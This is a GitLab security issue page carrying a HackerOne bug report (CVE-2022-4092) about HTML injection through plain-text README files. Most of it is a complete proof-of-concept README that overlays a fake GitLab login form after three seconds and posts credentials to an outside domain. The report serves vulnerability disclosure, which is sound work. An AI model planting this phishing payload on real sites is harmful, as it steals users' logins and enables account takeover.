Headline
CVE-2022-4092: HTML content injection in README file (#383208) · Issues · GitLab.org / GitLab · GitLab
An issue has been discovered in GitLab EE affecting all versions starting from 15.6 before 15.6.1. It was possible to create a malicious README page due to improper neutralisation of user supplied input.
Skip to content
Open Issue created Nov 21, 2022 by GitLab SecurityBot@gitlab-securitybotReporter
HTML content injection in README file
HackerOne report #1777934 by yvvdwf on 2022-11-18, assigned to @nmalcolm:
Report | How To Reproduce
Report
Hi,
Summary
Gitlab recently changed the way to render plain text file
### https://gitlab.com/gitlab-org/gitlab/-/blob/053729ecfd3d2b3d2e0ce3618b35cb3c46472897/app/services/markup/rendering_service.rb#L66
def plain_unsafe
"<pre class=\"plain-readme\">#{text}</pre>"
end
This allows to inject any HTML content. Although the content is then sanitized by Dumpurify via v-safe-html directly. The sanitization allows <form> tag, thus this can be used to popup a login form. If users enter their credential, then their account will be taken over.
I submit this report when considering the ease of exploitation and its impact (although the HTML content injection does not lead to any kind of XSS). Because the content of README file is loaded by default in the main view of a project, attackers may easily trick users to fill their credential in the dummy login form, for example.
Steps to reproduce
in an existing project or create a new one
add a file naming README (please note that no extension here, README.md does not work) with the following content:
</pre>
<div class="flash-container flash-container-page sticky" data-qa-selector="flash_container">
<div class="gl-alert flash-notice gl-alert-info" data-testid="alert-info" role="alert">
<svg class="s16 gl-alert-icon gl-alert-icon-no-title" data-testid="information-o-icon"><use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#information-o"></use></svg>
<button aria-label="Dismiss" class="btn gl-dismiss-btn btn-default btn-sm gl-button btn-default-tertiary btn-icon js-close" type="button">
<svg class="s16" data-testid="close-icon"><use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#close"></use></svg>
</button>
<div class="gl-alert-content" role="alert">
<div class="gl-alert-body">
Loading content …
</div>
</div>
</div>
</div><style>[@]keyframes fadeIn {99% {visibility: hidden;} 100% { visibility: visible;}</style>
<div style="position:fixed!important;top:0px;left:0px;right:0px;bottom:0px;background-color:white;z-index:9999; animation: 3s fadeIn; animation-fill-mode: forwards;visibility: hidden;">
<div style="position:fixed!important;top:0px;left:0px;right:0px;bottom:0px;background-color:var(--gray-50)">
<div class="page-wrap borderless">
<div class="login-page-broadcast">
</div>
<div class="container navless-container">
<div class="content">
<div class="flash-container flash-container-page sticky" data-qa-selector="flash_container">
<div class="gl-alert flash-alert gl-alert-danger" data-testid="alert-danger" role="alert">
<svg class="s16 gl-alert-icon gl-alert-icon-no-title" data-testid="error-icon">
<use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#error"></use>
</svg>
<button aria-label="Dismiss" class="btn gl-dismiss-btn btn-default btn-sm gl-button btn-default-tertiary btn-icon js-close" type="button">
<svg class="s16" data-testid="close-icon">
<use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#close"></use>
</svg>
</button>
<div class="gl-alert-content" role="alert">
<div class="gl-alert-body">
You need to sign in or sign up before continuing.
</div>
</div>
</div>
</div>
<div class="mt-3">
<div class="col-sm-12 gl-text-center">
<img alt="GitLab.com" class="gl-w-10 js-lazy-loaded" src="https://gitlab.com/assets/logo-911de323fa0def29aaf817fca33916653fc92f3ff31647ac41d2c39bbe243edb.svg" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<h1 class="mb-3 gl-font-size-h2">
GitLab.com
</h1>
</div>
</div>
<div class="mb-3">
<div class="gl-w-half gl-xs-w-full gl-ml-auto gl-mr-auto bar">
<div id="signin-container">
<div class="tab-content">
<div class="login-box tab-pane active" id="login-pane" role="tabpanel">
<div class="login-body">
<form class="new_user gl-show-field-errors js-arkose-labs-form" id="new_user" aria-live="assertive" data-testid="sign-in-form" action="https://yvvdwf.me/gl" accept-charset="UTF-8" method="post">
<input type="hidden" name="authenticity_token" value="" autocomplete="off">
<div class="form-group gl-px-5 gl-pt-5">
<label for="user_login" class="label-bold gl-mb-1">Username or email</label>
<input class="form-control gl-form-input top js-username-field" autofocus="autofocus" autocapitalize="off" autocorrect="off" required="required" title="This field is required." data-qa-selector="login_field" data-testid="username-field" type="text" name="user[login]" id="user_login">
<p class="gl-field-error hidden">This field is required.</p>
</div>
<div class="form-group gl-px-5">
<label class="label-bold gl-mb-1" for="user_password">Password</label>
<input class="form-control gl-form-input bottom" autocomplete="current-password" required="required" title="This field is required." data-qa-selector="password_field" data-testid="password-field" type="password" name="user[password]" id="user_password">
<p class="gl-field-error hidden">This field is required.</p>
</div>
<div class="gl-px-5">
<div class="gl-display-inline-block">
<div class="gl-form-checkbox custom-control custom-checkbox">
<input name="user[remember_me]" type="hidden" value="0" autocomplete="off"><input class="custom-control-input" type="checkbox" value="1" name="user[remember_me]" id="user_remember_me">
<label class="custom-control-label" for="user_remember_me"><span>Remember me</span></label>
</div>
</div>
<div class="gl-float-right">
<a href="/users/password/new">Forgot your password?</a>
</div>
</div>
<div></div>
<div>
<!----> <!----> <!---->
<div data-testid="arkose-labs-challenge" class="gl-display-flex gl-justify-content-center gl-mt-3 gl-mb-n3 js-arkose-labs-container-1" style="display: none;"></div>
<!---->
</div>
<div class="submit-container move-submit-down gl-px-5">
<button name="button" type="submit" class="gl-button btn btn-block btn-confirm js-sign-in-button js-no-auto-disable" data-qa-selector="sign_in_button" data-testid="sign-in-button">Sign in</button>
</div>
</form>
</div>
</div>
</div>
<p class="gl-px-5">
By signing in you accept the <a href="/-/users/terms" target="_blank" rel="noreferrer noopener">Terms of Use and acknowledge the Privacy Policy and Cookie Policy</a>.
</p>
<p class="gl-mt-3 gl-text-center">
Don't have an account yet?
<a data-qa-selector="register_link" href="/users/sign_up">Register now</a>
</p>
<div class="clearfix">
<div class="omniauth-container gl-mt-5 gl-p-5 gl-text-center gl-w-90p gl-ml-auto gl-mr-auto">
<label class="gl-font-weight-normal">
Sign in with
</label>
<div class="gl-display-flex gl-flex-wrap gl-justify-content-center">
<form class="gl-mb-3" method="post" action="/users/auth/google_oauth2"><button id="oauth-login-google_oauth2" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Google" title="Sign in with Google" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/google_64-9ab7462cd2115e11f80171018d8c39bd493fc375e83202fbb6d37a487ad01908.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
Google
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
<form class="gl-mb-3" method="post" action="/users/auth/github"><button id="oauth-login-github" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="GitHub" title="Sign in with GitHub" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/github_64-84041cd0ea392220da96f0fb9b9473c08485c4924b98c776be1bd33b0daab8c0.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
GitHub
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
<form class="gl-mb-3" method="post" action="/users/auth/twitter"><button id="oauth-login-twitter" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Twitter" title="Sign in with Twitter" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/twitter_64-22f28114e53ba8324a944fc07b5a5739a78d2a4083d07c0ea2fec2bc1ebfc49d.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
Twitter
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
<form class="gl-mb-3" method="post" action="/users/auth/bitbucket"><button id="oauth-login-bitbucket" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Bitbucket" title="Sign in with Bitbucket" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/bitbucket_64-daa496030c0c290748e3c2e50f7464d2f5de0e019cce728930e0508a6dac815c.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
Bitbucket
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
<form class="gl-mb-3" method="post" action="/users/auth/salesforce"><button id="oauth-login-salesforce" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login " type="submit"><img alt="Salesforce" title="Sign in with Salesforce" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/salesforce_64-0fb2c008b7c8d627aadda7ec593509e0bd402752df28d8a17b04ac1a30c26ef9.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">
<span class="gl-button-text">
Salesforce
</span>
</button><input type="hidden" name="authenticity_token" value="" autocomplete="off">
</form>
</div>
<div class="gl-form-checkbox custom-control custom-checkbox">
<input type="checkbox" name="remember_me" id="remember_me" class="custom-control-input">
<label class="custom-control-label" for="remember_me"><span>Remember me
</span></label>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<hr class="footer-fixed">
<div class="container footer-container">
<div class="footer-links">
<a href="/explore">Explore</a>
<a href="/help">Help</a>
<a href="https://about.gitlab.com">About GitLab</a>
<a target="_blank" class="text-nowrap" rel="noopener noreferrer" href="https://forum.gitlab.com">Community forum</a>
</div>
</div>
</div>
- save the file, then back to the main page of the project
- you should see a login popup that appears after 3 seconds which is adjustable.
- if the form is submited, its target is outside gitlab.com, e.g., https://yvvdwf.me/gl, then the username/password will be leaked
Impact
A risk to leak username and password of victims
Examples
https://gitlab.com/yvvdwf/dummy-login
What is the current bug behavior?
HTML tag in a plain text is not escaped
What is the expected correct behavior?
HTML tag in a plain text should be escaped
Output of checks
This bug happens on GitLab.com
Impact
A risk to leak username and password of victim
How To Reproduce
Please add reproducibility information to this section:
Video
html-injection
Edited Nov 21, 2022 by Nick Malcolm